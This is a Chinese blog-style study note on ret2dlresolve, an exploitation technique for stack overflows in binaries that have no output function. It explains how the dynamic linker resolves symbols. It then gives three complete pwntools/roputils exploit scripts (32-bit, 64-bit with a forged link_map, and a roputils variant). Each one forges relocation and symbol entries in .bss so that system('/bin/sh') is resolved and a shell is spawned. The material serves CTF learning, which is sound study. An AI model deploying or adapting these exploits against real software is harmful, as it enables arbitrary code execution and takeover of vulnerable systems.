ret2_reslove学习笔记
ret2_reslove这个高级利用之前一直没有太认真的去学,直到我碰到了一个没有输出函数的栈题,无法获得任何libc等其他地址信息,并且也没有gadget(比如pop edx)能够利用,因此我想到了ret2_reslove,这个高级rop可以在没有输出函数的情况下更换函数信息,拿到shell。
原理:在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset)
来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。
具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic
索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。
我们看一下.dynamic
的内容:
DT_STRTAB => .dynstr DT_SYMTAB => .dynsym DT_JMPREL => .rel.plt
1 |
|
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针,用于拿到真实地址后填入
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,.dynsym+(r_info>>8)即可得到函数对应的dynsym结构体
} Elf32_Rel;
1 |
|
typedef struct elf32_sym
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,.dynstr+st_name即可得到函数名
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
typedef struct elf64_sym
{
Elf64_Word st_name; // 符号名称,字符串表中的索引
// STT_OBJECT表示符号关联到一个数据对象,如变量、数组或指针;
// STT_FUNC表示符号关联到一个函数;
// STT_NOTYPE表示符号类型未指定,用于未定义引用
unsigned char st_info; // 类型和绑定属性:STB_LOCAL/STB_GLOBAL/STB_WEAK;
unsigned char st_other; // 语义未定义,0
Elf64_Half st_shndx; // 相关节的索引,符号将绑定到该节,此外SHN_ABS指定符号是绝对值,不因重定位而改变,SHN_UNDEF标识未定义符号。
Elf64_Addr st_value; // 符号的值
Elf64_Xword st_size; // 符号的长度,如一个指针的长度或struct对象中包含的字节数。
}Elf64_Sym;
1 |
|
from pwn import *
io = process(‘./pwn200’)
elf=ELF(‘./pwn200’)
context.log_level=’debug’
read_plt=elf.plt[‘read’]
strlen_plt=elf.plt[‘strlen’]
strlen_got=elf.got[‘strlen’]
pppr=0x08048609
pop_ebp=0x0804860b
leaver=0x804851D
plt_0=elf.get_section_by_name(‘.plt’).header.sh_addr
rel_plt=elf.get_section_by_name(‘.rel.plt’).header.sh_addr
dynsym=elf.get_section_by_name(‘.dynsym’).header.sh_addr
dynstr=elf.get_section_by_name(‘.dynstr’).header.sh_addr
bss_addr=elf.get_section_by_name(‘.bss’).header.sh_addr+0x600
def exp():
io.recvuntil(‘Gleaf!\n’)
payload=’a’*0x6c+p32(bss_addr)+p32(read_plt)+p32(pppr)+p32(0)+p32(bss_addr)+p32(100)
payload+=p32(pop_ebp)+p32(bss_addr)+p32(leaver)
io.send(payload)
reloc_index=bss_addr+0x14-rel_plt
r_sym=(bss_addr+0x38-dynsym)/0x10
r_type=0x7
r_info=(r_sym<<8)+(r_type&0xff)
print(hex(r_info))
fake_rel=p32(strlen_got)+p32(r_info)
st_name=bss_addr+0x48-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
payload='aaaa'#new ebp
payload+=p32(plt_0)+p32(reloc_index)+'aaaa'+p32(bss_addr+0x54)
payload+=fake_rel
payload+='aaaa'*7
payload+=fake_sym
payload+='system\x00'
payload+='bbbbb'
payload+='/bin/sh\x00'
payload=payload.ljust(100,'a')
gdb.attach(io)
io.sendline(payload)
io.interactive()
exp()
1 |
|
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {
…
} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
1 |
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) /
unsigned char st_info; / Symbol type and binding /
unsigned char st_other; / Symbol visibility /
Elf64_Section st_shndx; / Section index /
Elf64_Addr st_value; / Symbol value /
Elf64_Xword st_size; / Symbol size */
} Elf64_Sym;
1 |
|
#coding:utf8
from pwn import *
sh = process(‘./test-64’)
elf = ELF(‘./test-64’)
libc = elf.libc
context.log_level=’debug’
read_plt = elf.plt[‘read’]
read_got = elf.got[‘read’]
fun_addr = elf.sym[‘fun’]
#bss段
bss = 0x601038
l_addr = libc.sym[‘system’] - libc.sym[‘read’]
#注意,只要是可读写的内存地址即可,调试看看就知道了
r_offset = bss + l_addr * -1
#负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x10000000000000000
pop_rdi = 0x4005c3
#pop rsi ; pop r15 ; ret
pop_rsi = 0x4005c1
#用于解析符号dl_runtime_resolve
plt_load = 0x4003f6
#第一次继续调用read输入伪造的数据结构,然后再一次调用fun来输入rop
payload = ‘a’*0x28 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)
sh.sendline(payload)
raw_input()
#真正的dynstr的地址
dynstr = 0x400318
#我们准备把link_map放置在bss+0x100处
fake_link_map_addr = bss + 0x100
#假的dyn_strtab
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_strtab = p64(0) + p64(dynstr) #fake_link_map_addr + 0x8
#假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got表
#其他字段无关紧要,所以,我们让dynsym为read_got - 0x8,这样,相当于把read_got - 0x8处开始当做一个dynsym,这样st_value正好对应了read的地址
#并且(*(sym+5))&0x03 != 0也成立
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_symtab = p64(0) + p64(read_got - 0x8) #fake_link_map_addr + 0x18
#假的dyn_rel
fake_dyn_rel_addr = fake_link_map_addr + 0x28
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38) #fake_link_map_addr + 0x28
#假的rel.plt
fake_rel = p64(r_offset) + p64(0x7) + p64(0) #fake_link_map_addr + 0x38
#l_addr
fake_link_map = p64(l_addr)
#由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map = fake_link_map.ljust(0x68,’\x00’)
#dyn_strtab的指针
fake_link_map += p64(fake_dyn_strtab_addr)
#dyn_strsym的指针
fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70
#存入/bin/sh字符串
fake_link_map += ‘/bin/sh’.ljust(0x80,’\x00’)
#在fake_link_map_addr + 0xF8处,是rel.plt指针
fake_link_map += p64(fake_dyn_rel_addr)
sh.sendline(fake_link_map)
#sleep(1)
raw_input()
gdb.attach(sh)
#现在,我们伪造好了link_map,那么,我们就可以来解析system了
rop = ‘A’*0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78) + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
sh.sendline(rop)
sh.interactive()
1 |
|
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process(‘./pwn200’)
context.log_level = ‘debug’
r.recv()
rop = ROP(‘./pwn200’)
offset = 112
bss_base = rop.section(‘.bss’)+0x500
buf = rop.fill(offset)
buf += rop.call(‘read’, 0, bss_base, 100)
used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 40, bss_base)
r.send(buf)
buf = rop.string(‘/bin/sh’)
buf += rop.fill(40, buf)
used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 40, ‘system’)
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
```
参考